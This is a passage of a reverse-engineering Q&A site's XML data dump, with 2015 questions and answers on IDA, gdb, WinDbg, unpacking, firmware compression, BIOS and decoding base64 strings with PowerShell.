Park&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13699" LastEditorUserId="13699" LastEditDate="2015-09-29T02:03:14.863" LastActivityDate="2015-09-29T08:14:10.543" Title="IDA Array of structs hiding strings" Tags="|ida|struct|array|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10987" PostTypeId="1" CreationDate="2015-09-29T00:19:48.753" Score="-2" ViewCount="321" Body="&lt;p&gt;I am trying to reverse engineer a file saved by a program written in Delphi. This file is generated by the &lt;code&gt;File -&amp;gt; Save As&lt;/code&gt; menu item. How can I go about identifying the field names and byte offsets etc. of this file?&lt;/p&gt;&#xA;" OwnerUserId="13701" LastActivityDate="2015-09-29T00:38:22.490" Title="Reverse Engineering Saved File" Tags="|delphi|" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-29T23:07:59.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="10988" PostTypeId="2" ParentId="10987" CreationDate="2015-09-29T00:38:22.490" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I go about identifying the field names and byte offsets etc.&#xA;  of this file?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By reverse engineering the Delphi program, in particular the functionality that reads from and writes to those saved files.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-29T00:38:22.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10989" PostTypeId="1" CreationDate="2015-09-29T00:38:31.683" Score="2" ViewCount="1876" Body="&lt;p&gt;I am trying to follow the write-up about &lt;a href=&quot;http://vulph.com/2015/09/27/defcon-hackercalc-writeup.html&quot; rel=&quot;nofollow&quot;&gt;hackercalc&lt;/a&gt; (a challenge for DEFCON 2015 quals). First, by loading the challenge into gdb, I observe that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info files&#xA;...&#xA;Entry point: 0xcf8&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I set a breakpoint at the &lt;code&gt;entry point&lt;/code&gt; and run the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break *0xcf8&#xA;Breakpoint 1 at 0xcf8&#xA;(gdb) run&#xA;Starting program: /home/tathanhdinh/CTFs/hackercalc&#xA;Error in re-setting breakpoint 1: Warning:&#xA;Cannot insert breakpoint 1.&#xA;Cannot access memory at address 0xcf8&#xA;&#xA;Warning:&#xA;Cannot insert breakpoint 1.&#xA;Cannot access memory at address 0xcf8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That seems this breakpoint does not work. I do not understand why it says &lt;code&gt;Cannot access memory at address 0xcf8&lt;/code&gt; but I guess that there was some code which runs before has made some interference (so the program cannot reach this entry point), as far as I know, this code must be the &lt;code&gt;elf interpreter&lt;/code&gt; of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I look into segments of the program to check this interpreter, all seems to be normal (except that &lt;code&gt;readelf&lt;/code&gt; says the program is a &lt;code&gt;shared object file&lt;/code&gt;, but I think that is not important):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;readelf --segments hackercalc&#xA;&#xA;Elf file type is DYN (Shared object file)&#xA;Entry point 0xcf8&#xA;There are 8 program headers, starting at offset 52&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x00000034 0x00000034 0x00100 0x00100 R E 0x4&#xA;  INTERP         0x000154 0x00000154 0x00000154 0x00013 0x00013 R   0x1&#xA;      [Requesting program interpreter: /lib/ld-linux.so.2]&#xA;  LOAD           0x000000 0x00000000 0x00000000 0x16b4a 0x16b4a R E 0x1000&#xA;  LOAD           0x016eac 0x00017eac 0x00017eac 0x001e4 0x001ec RW  0x1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I try to get again information about this process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info files&#xA;Symbols from &quot;/home/tathanhdinh/CTFs/hackercalc&quot;.&#xA;Native process:&#xA;        Using the running image of child process 10545.&#xA;        While running this, GDB does not access memory from...&#xA;Local exec file:&#xA;        `/home/tathanhdinh/CTFs/hackercalc', file type elf32-i386.&#xA;        Entry point: 0x56555cf8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I am totally lost here, why the &lt;code&gt;elf interpreter&lt;/code&gt; (which is &lt;code&gt;ld-linux.so.2&lt;/code&gt;) can create a new process in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try another approach by loading the challenge into IDA, set a breakpoint at the entry point, then run but IDA simply hangs up!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: how can this happen? Am I totally wrong about the code executed before the entry point? Does the challenge use some special tricks to bypass debugging?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB1.&lt;/strong&gt; Thanks to @Igor, I finally find out how to debug this challenge. In summary, I disable ALSR to get a stable address of the entry point. Then I load it into gdbserver, use IDA to attach this debug session, set a breakpoint at the entry point (whose address is stable by disabling ALSR).&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2015-09-29T16:09:46.027" LastActivityDate="2015-09-29T16:09:46.027" Title="Debugging a position independent executable ELF" Tags="|ida|debugging|gdb|elf|pie|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10991" PostTypeId="2" ParentId="10986" CreationDate="2015-09-29T08:14:10.543" Score="0" Body="&lt;p&gt;Press &lt;kbd&gt;*&lt;/kbd&gt; and uncheck 'Create as array'. This will convert the array into separate structs, and you'll see the strings again.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-09-29T08:14:10.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10992" PostTypeId="2" ParentId="8463" CreationDate="2015-09-29T08:43:18.393" Score="1" Body="&lt;p&gt;if you dont wanna unpack exe manually;&lt;br&gt;&#xA;&lt;br&gt;1. use peid to identify packing type.  -- &lt;a href=&quot;https://tuts4you.com/request.php?398&quot; rel=&quot;nofollow noreferrer&quot;&gt;download peid&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0MmoH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0MmoH.jpg&quot; alt=&quot;image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;search in the same site for that packing type(in picture its aspack 2.001). you'll see tutorial for it. &lt;/li&gt;&#xA;&lt;li&gt;search google for &lt;strong&gt;aspack 2.001 unpacker&lt;/strong&gt; .&#xA;maybe  even you get an app to unpack it automatically&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;peid tutorial -   tuts4you.com/download.php?view.398&lt;/p&gt;&#xA;" OwnerUserId="13694" LastActivityDate="2015-09-29T08:43:18.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10993" PostTypeId="1" CreationDate="2015-09-29T10:33:09.190" Score="2" ViewCount="2096" Body="&lt;p&gt;I'm trying to reverse-enginering a Win7 32bit legacy driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I break when the system is loaded I can see that the driver is loaded because the corresponding DRIVER_OBJECT is created (&lt;code&gt;!drvobj name&lt;/code&gt; show a real object). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't see the driver name in the module list with &lt;code&gt;lm&lt;/code&gt; command. Is there an explanation for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this I am also unable to break when this module is loaded with &lt;code&gt;sxe ld name&lt;/code&gt; but I think that the driver is loaded just after the loading of umbus (because at this time the corresponding DRIVER_OBJECT is created). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching on internet I found that this is the &quot;User mode bus enumerator&quot; but I don't understand because it is a kernel mode driver (.sys file).&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-09-29T10:33:09.190" Title="lm command on Windbg is not showing all modules" Tags="|windbg|driver|" AnswerCount="0" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10995" PostTypeId="1" CreationDate="2015-09-30T10:41:56.327" Score="2" ViewCount="2554" Body="&lt;p&gt;I have some problem with Galaxy S6 boot loader (&lt;code&gt;sboot.bin&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;From &lt;code&gt;0x3F000&lt;/code&gt; of that file, I think that there exists the real boot loader.&lt;/p&gt;&#xA;&lt;p&gt;So I tried to disassemble it with ida 6.8 pro (64bit)&lt;/p&gt;&#xA;&lt;p&gt;But It does not disassemble it clearly. (in both thumb mode and arm mode)&lt;/p&gt;&#xA;&lt;p&gt;IDA pro 6.8 can support the Galaxy S6 boot loader (&lt;code&gt;sboot.bin&lt;/code&gt;)?&lt;/p&gt;&#xA;&lt;p&gt;Is there anyone who succeed in disassembling the Galaxy S6 boot loader (&lt;code&gt;sboot.bin&lt;/code&gt;)? (aka armv8, aarch64 architecture)&lt;/p&gt;&#xA;" OwnerUserId="13713" LastEditorUserId="10120" LastEditDate="2021-10-29T07:31:20.240" LastActivityDate="2021-10-29T07:31:20.240" Title="Problem with IDA pro 6.8 disassemble galaxy s6 sboot" Tags="|ida|android|arm|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="10996" PostTypeId="1" CreationDate="2015-09-30T11:33:09.170" Score="1" ViewCount="525" Body="&lt;p&gt;I have bumped into a compression format which &lt;code&gt;binwalk&lt;/code&gt; doesn't seem able to identify. It is used in at least ZyXEL P-724 firmware images. Running &lt;code&gt;file&lt;/code&gt; doesn't show anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing the files I have, I found there seems to be a fixed-size header of around 20 bytes (checked with two files drastically different in both size and contents -- namely, &lt;code&gt;HTPCode&lt;/code&gt; and &lt;code&gt;RasCode&lt;/code&gt;). Poking around &lt;code&gt;BootExt&lt;/code&gt; I can see decompression-related string, but nothing that would give away the exact algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The suspected header bytes are (bytes that differ marked out):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;08 00 xx xx 71 A8 1A xx 17 2A 7C 60 xx C2 02 0C 20 83 10 00&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample containing the original image, extracted ROM object, and the compressed data itself: &lt;a href=&quot;https://yadi.sk/d/lBRqhldYjRMPf&quot; rel=&quot;nofollow&quot;&gt;https://yadi.sk/d/lBRqhldYjRMPf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2023-07-15T17:11:20.327" Title="ZyXEL old devices firmware compression method" Tags="|decompress|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10997" PostTypeId="1" AcceptedAnswerId="10999" CreationDate="2015-09-30T12:36:05.680" Score="18" ViewCount="5113" Body="&lt;p&gt;As I understand, the BIOS code/bitstream that held in the ROM should be generic (work alongside with multiple CPU types or ISAs). In addition, I saw mentions in the web that claim to have the possibility to dump it's code (and to '&lt;em&gt;disassemble&lt;/em&gt;' it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in which language, instruction set or machine code is it written? Doesn't it need any kind of processor to perform its operations? If so I guess that it will use the external CPU, then how does it knows the specific instruction set of the employed one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it has an internal processor?&lt;/p&gt;&#xA;" OwnerUserId="3179" LastEditorUserId="-1" LastEditDate="2015-09-30T19:05:11.273" LastActivityDate="2016-01-13T22:41:18.267" Title="In which language is the BIOS written?" Tags="|disassembly|dumping|bios|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10999" PostTypeId="2" ParentId="10997" CreationDate="2015-09-30T13:06:33.173" Score="15" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So, in which language, instruction set or machine code is it written?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's written in a language that can be compiled to machine code that can be executed by the processor (the CPU). Typically, it's a combination of C and assembly language.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Doesn't it need any kind of processor to perform its operations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, the processor is what runs the BIOS code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If so I guess that it will use the external CPU&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;then how does it knows the specific instruction set of the employed one?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't. That's why when you purchase a motherboard, you need to make sure to buy one compatible with the CPU you plan to use with it. See, for example, &lt;a href=&quot;https://www.asus.com/us/Motherboards/&quot; rel=&quot;noreferrer&quot;&gt;ASUS's motherboard list&lt;/a&gt;. They have motherboards meant for Intel CPUs, motherboards meant for AMD CPUs, etc. And if you drill into the &lt;a href=&quot;https://www.asus.com/us/Motherboards/X99E_WS/specifications/&quot; rel=&quot;noreferrer&quot;&gt;specs for a given motherboard&lt;/a&gt;, you'll see which specific CPUs it's meant to work with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kwgB6.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kwgB6.png&quot; alt=&quot;CPUs&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-30T13:06:33.173" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11001" PostTypeId="2" ParentId="8463" CreationDate="2015-09-30T15:18:49.580" Score="0" Body="&lt;p&gt;If it is as standard packer there are tools that will unpack it.  If you are looking to learn how to manually unpack or if it is not a standard unpacker then you can proceed.  It does not look like it has finished unpacking.  You may have to keep going to get to a valid &quot;original&quot; entry point. &lt;/p&gt;&#xA;" OwnerUserId="2426" LastActivityDate="2015-09-30T15:18:49.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11002" PostTypeId="1" AcceptedAnswerId="11006" CreationDate="2015-09-30T16:28:47.430" Score="0" ViewCount="4323" Body="&lt;p&gt;I have an executable file I put together from an demo powerpc assembly program I whipped together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AssemblyProgram.s&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.global _Start&#xA;&#xA;.text&#xA;_Start:&#xA;    addi 3, 0, 0xa&#xA;    addi 4, 0, 0xb&#xA;    addi 5, 0, 0xc&#xA;    b .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All it does is load hex a, b, c into registers 3, 4, and 5. When I go to step through it in GDB, I am trying now to set a breakpoint on the instruction b . which is located at address 0x1000012 due to the linker script placement of the instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can set the breakpoint no problem, but when try to continue I get an error. My example session is shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) target sim&#xA;Connected to the simulator.&#xA;(gdb) load assem-ABCRegs-ppceabi-ex.elf &#xA;(gdb) x /4i 0x1000000&#xA;0x1000000 &amp;lt;_Start&amp;gt;: li      r3,10&#xA;0x1000004 &amp;lt;_Start+4&amp;gt;:   li      r4,11&#xA;0x1000008 &amp;lt;_Start+8&amp;gt;:   li      r5,12&#xA;0x100000c &amp;lt;_Start+12&amp;gt;:  b       0x100000c &amp;lt;_Start+12&amp;gt;&#xA;(gdb) b *0x1000000&#xA;Breakpoint 1 at 0x1000000&#xA;(gdb) run&#xA;Starting program: /home/default/PPC-Baremetal-Base/assem-ABCRegs-ppceabi-ex.elf &#xA;&#xA;Breakpoint 1, 0x01000000 in _Start ()&#xA;(gdb) si&#xA;0x01000004 in _Start ()&#xA;(gdb) b *0x1000012&#xA;Breakpoint 2 at 0x1000012&#xA;(gdb) c&#xA;Continuing.&#xA;Warning:&#xA;Cannot insert breakpoint 2.&#xA;Cannot access memory at address 0x1000012&#xA;&#xA;(gdb) si&#xA;Warning:&#xA;Cannot insert breakpoint 2.&#xA;Cannot access memory at address 0x1000012&#xA;&#xA;(gdb) d 2&#xA;(gdb) si&#xA;0x01000008 in _Start ()&#xA;(gdb) si&#xA;0x0100000c in _Start ()&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a trivial program, but it is just a learning program. I want to be able to set a breakpoint on a real program and continue (not step) through the execution until my breakpoint is hit if ever. Is this possible if I am not able to recompile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above test run tries to set a breakpoint at the wrong locations (in the middle of an instruction. Below is a proper run.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) target sim&#xA;Connected to the simulator.&#xA;(gdb) load assem-ABCRegs-ppceabi-ex.elf&#xA;(gdb) b *0x1000008&#xA;Breakpoint 1 at 0x1000008&#xA;(gdb) c&#xA;Starting program: /home/default/PPC-Baremetal-Base/assem-ABCRegs-ppceabi-ex.elf &#xA;&#xA;0x1000000 in _Start ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13721" LastEditorUserId="13721" LastEditDate="2015-10-01T18:49:32.843" LastActivityDate="2015-10-01T18:49:32.843" Title="How To Set Breakpoints On An Assembly Program Not Compiled With Debugging Symbols?" Tags="|assembly|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11004" PostTypeId="2" ParentId="8943" CreationDate="2015-09-30T17:04:45.937" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CreateToolhelp32Snapshot()&lt;/code&gt;&lt;/a&gt; would help for creating a snapshot of program state, especially fuzzing a la &lt;a href=&quot;http://www.reverse-engineering.info/PE_Information/Crackers_Guide_To_Program_Flow.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Peter Van Eeckhoutte covered what you're attempting to do in (in-memory fuzzing) in &lt;a href=&quot;https://www.corelan.be/index.php/2010/10/20/in-memory-fuzzing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blogpost&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are outlined step by step&lt;/p&gt;&#xA;" OwnerUserId="10058" LastEditorUserId="2147" LastEditDate="2018-08-31T01:24:53.393" LastActivityDate="2018-08-31T01:24:53.393" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="11006" PostTypeId="2" ParentId="11002" CreationDate="2015-10-01T08:09:09.480" Score="0" Body="&lt;p&gt;Yes, you are able to debug programs without sources with &lt;code&gt;gdb&lt;/code&gt;. You don;t need to recompile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The potential problem source is in miscalculation of breakpoint address:&#xA;address of your branch instruction is &lt;code&gt;0x100000c&lt;/code&gt; and not &lt;code&gt;0x1000012&lt;/code&gt;.&#xA;This may explain why you can not set a breakpoint: there is no any instruction in a place where you are trying to put a breakpoint.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-10-01T08:09:09.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11007" PostTypeId="1" AcceptedAnswerId="11010" CreationDate="2015-10-01T10:54:54.717" Score="0" ViewCount="576" Body="&lt;p&gt;Im trying to understand the execution flow from &lt;code&gt;user32.UnregisterUserApiHook&lt;/code&gt; to the belonged System call : &lt;code&gt;NtUserUnregisterUserApiHook&lt;/code&gt; if i am right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently i cant use Windbg (kernel debugger) to step through every call to see where i get.&#xA;So i try to use IDA .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tryed the following things (with IDA):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Locate KiFastCallEntry in ntoskrnl.exe : not found&#xA;    Locate NtUserUnregisterUserApiHook in win32k.sys : not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question: how to get these functions listed &lt;a href=&quot;http://j00ru.vexillium.org/win32k_syscalls/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; displayed in to IDA ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Target OS is Windows 7 32 bit&lt;/p&gt;&#xA;" OwnerUserId="13541" LastActivityDate="2015-10-01T18:40:11.240" Title="How locate (NtUserUnregisterUserApiHook) function in win32k.sys with IDA" Tags="|ida|windows|system-call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11008" PostTypeId="1" CreationDate="2015-10-01T13:21:35.543" Score="1" ViewCount="2231" Body="&lt;p&gt;When looking at raw binary dumps are there any tools to help identify and decode base64 strings contained within? Essentially &quot;strings&quot;, but taking into account base64.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2015-10-08T08:12:34.887" Title="Tools to find base64 strings in binary dumps" Tags="|tools|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11010" PostTypeId="2" ParentId="11007" CreationDate="2015-10-01T18:40:11.240" Score="1" Body="&lt;pre&gt;&lt;code&gt;C:\&amp;gt;md win32k&#xA;C:\&amp;gt;cd win32k&#xA;C:\win32k&amp;gt;copy c:\WINDOWS\system32\win32k.sys .&#xA;        1 file(s) copied.&#xA;C:\win32k&amp;gt;&quot;c:\Program Files\IDA Free\idag.exe&quot; -B -A win32k.sys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wait till *.idb and *.asm is produced in the directory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\win32k&amp;gt;echo :redo &amp;gt;wait.bat&#xA;C:\win32k&amp;gt;echo if not exist *.idb (sleep 30 ^&amp;amp; goto :redo) &amp;gt;&amp;gt; wait.bat&#xA;C:\win32k&amp;gt;wait.bat&#xA;C:\win32k&amp;gt;if not exist *.idb (sleep 50   &amp;amp; goto :redo )&#xA;C:\win32k&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;search for the api in the generated asm file or reopen the idb in ida&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\win32k&amp;gt;grep -i ntuserregisteruserapihook win32k.asm&#xA;; __stdcall NtUserRegisterUserApiHook(x, x)&#xA;_NtUserRegisterUserApiHook@8 proc near  ; DATA XREF: .data:BF99B3A4↓o&#xA;_NtUserRegisterUserApiHook@8 endp&#xA;__RegisterUserApiHook@8 proc near       ; CODE XREF: NtUserRegisterUserApiHook(x&#xA;,x)+11↑p&#xA;                dd offset _NtUserRegisterUserApiHook@8 ; NtUserRegisterUserApiHo&#xA;ok(x,x)&#xA;&#xA;C:\win32k&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-10-01T18:40:11.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11011" PostTypeId="2" ParentId="11008" CreationDate="2015-10-02T07:08:48.257" Score="1" Body="&lt;p&gt;using powershell&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;type bana.txt&#xA;bXkgZmlyc3Qgc3RyaW5nCm15IHNlY29uZCBzdHJpbmcKbXkgdGhpcmQgc3RyaW5nZ2cgb2sh&#xA;CiJIZWxsbyBXb3JsZCI=&#xA;&#xA;C:\&amp;gt;powershell -c &quot;gc .\bana.txt | Select-String -Pattern &quot;.*&quot; |% { [text.encodi&#xA;ng]::ASCII.GetString([convert]::FromBase64String($_)) }&quot;&#xA;my first string&#xA;my second string&#xA;my third stringgg ok!&#xA;&#xA;&quot;Hello World&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change the encoding to utf-8 if the file contains unicode encoded bas464 stringg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cat unibana.txt&#xA; ■b X k g Z m l y c 3 Q g c 3 R y a W 5 n C m 1 5 I H N l Y 2 9 u Z C B z d H J&#xA;  b m c K b X k g d G h p c m Q g c 3 R y a W 5 n Z 2 c g b 2 s h&#xA; C i J I Z W x s b y B X b 3 J s Z C I =&#xA;&#xA;C:\&amp;gt;powershell -c &quot;gc .\bana.txt | Select-String -Pattern &quot;.*&quot; |% { [text.encodi&#xA;ng]::utf8.GetString([convert]::FromBase64String($_)) }&quot;&#xA;my first string&#xA;my second string&#xA;my third stringgg ok!&#xA;&#xA;&quot;Hello World&quot;&#xA;&#xA;C:\&amp;gt;ls -l *ban*&#xA;-rw-rw-rw-  1 Admin 0  96 2015-10-02 12:23 bana.txt&#xA;-rw-rw-rw-  1 Admin 0 194 2015-10-02 12:27 unibana.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if the string is invalid bas64 string this will throw an invalid format exception and continue to decode the rest of file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cat bana.txt&#xA;bXkgZmlyc3Qgc3RyaW5nCm15IHNlY29uZCBzdHJpbmcKbXkgdGhpcmQgc3RyaW5nZ2cgb2sh&#xA;CiJIZWxsbyBXb3JsZCI=&#xA;yakku&#xA;bakku&#xA;bXkgZmlyc3Qgc3RyaW5nCm15IHNlY29uZCBzdHJpbmcKbXkgdGhpcmQgc3RyaW5nZ2cgb2sh&#xA;CiJIZWxsbyBXb3JsZCI=    &#xA;&#xA;C:\&amp;gt;powershell -c &quot;gc .\bana.txt | Select-String -Pattern &quot;.*&quot; |% { [text.encodi&#xA;ng]::ASCII.GetString([convert]::FromBase64String($_)) }&quot;&#xA;my first string&#xA;my second string&#xA;my third stringgg ok!&#xA;&#xA;&quot;Hello World&quot;&#xA;Exception calling &quot;FromBase64String&quot; with &quot;1&quot; argument(s): &quot;Invalid length for&#xA;a Base-64 char array.&quot;&#xA;At line:1 char:108&#xA;+ gc .\bana.txt | Select-String -Pattern .* |% { [text.encoding]::ASCII.GetStri&#xA;ng([convert]::FromBase64String &amp;lt;&amp;lt;&amp;lt;&amp;lt; ($_)) }&#xA;    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException&#xA;    + FullyQualifiedErrorId : DotNetMethodException&#xA;&#xA;Exception calling &quot;FromBase64String&quot; with &quot;1&quot; argument(s): &quot;Invalid length for&#xA;a Base-64 char array.&quot;&#xA;At line:1 char:108&#xA;+ gc .\bana.txt | Select-String -Pattern .* |% { [text.encoding]::ASCII.GetStri&#xA;ng([convert]::FromBase64String &amp;lt;&amp;lt;&amp;lt;&amp;lt; ($_)) }&#xA;    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException&#xA;    + FullyQualifiedErrorId : DotNetMethodException    &#xA;my first string&#xA;my second string&#xA;my third stringgg ok!&#xA;&#xA;&quot;Hello World&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edit is in reply to a comment by thomas weller&lt;br&gt;&#xA;do you have a test suite for me to test against or abuse the testcase foo.txt below to break the assumptions made in the reply       &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO a string is a bunch of characters interspersed with carriage return and or carriage return + line feed terminated with a null  a normal string if its length is in multiples of 4 and contains the same subset of characters used in base64 string cannot be differentiated  from one another&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PS C:\&amp;gt; xxd -g 1 .\foo.txt&#xA;0000000: 75 0d 62 58 6b 67 0d 62 58 6b 67 0d 0a 62 58 6b  u.bXkg.bXkg..bXk&#xA;0000010: 67 75 0d 0a 62 58 6b 67 75 0d 62 58 6b 67 0d 62  gu..bXkgu.bXkg.b&#xA;0000020: 58 6b 67 62 58 6b 67 0d 62 58 6b 67 62 58 6b 67  XkgbXkg.bXkgbXkg&#xA;PS C:\&amp;gt; cat .\foo.txt&#xA;u&#xA;bXkg&#xA;bXkg&#xA;bXkgu&#xA;bXkgu&#xA;bXkg&#xA;bXkgbXkg&#xA;bXkgbXkg&#xA;PS C:\&amp;gt; strings.exe -q -n 1 .\foo.txt&#xA;u&#xA;bXkg&#xA;bXkg&#xA;bXkgu&#xA;bXkgu&#xA;bXkg&#xA;bXkgbXkg&#xA;bXkgbXkg&#xA;PS C:\&amp;gt; cat .\decodeb64strings.ps1&#xA;$ErrorActionPreference=&quot;silentlycontinue&quot;&#xA;select-string -Path $args[0] -Pattern &quot;.*&quot; |%{$out=[text.encoding]::Ascii.getst&#xA;ring([convert]::FromBase64String($_.Line));if($?){$out}else{$_}}&#xA;PS C:\&amp;gt;&#xA;PS C:\&amp;gt; .\decodeb64strings.ps1 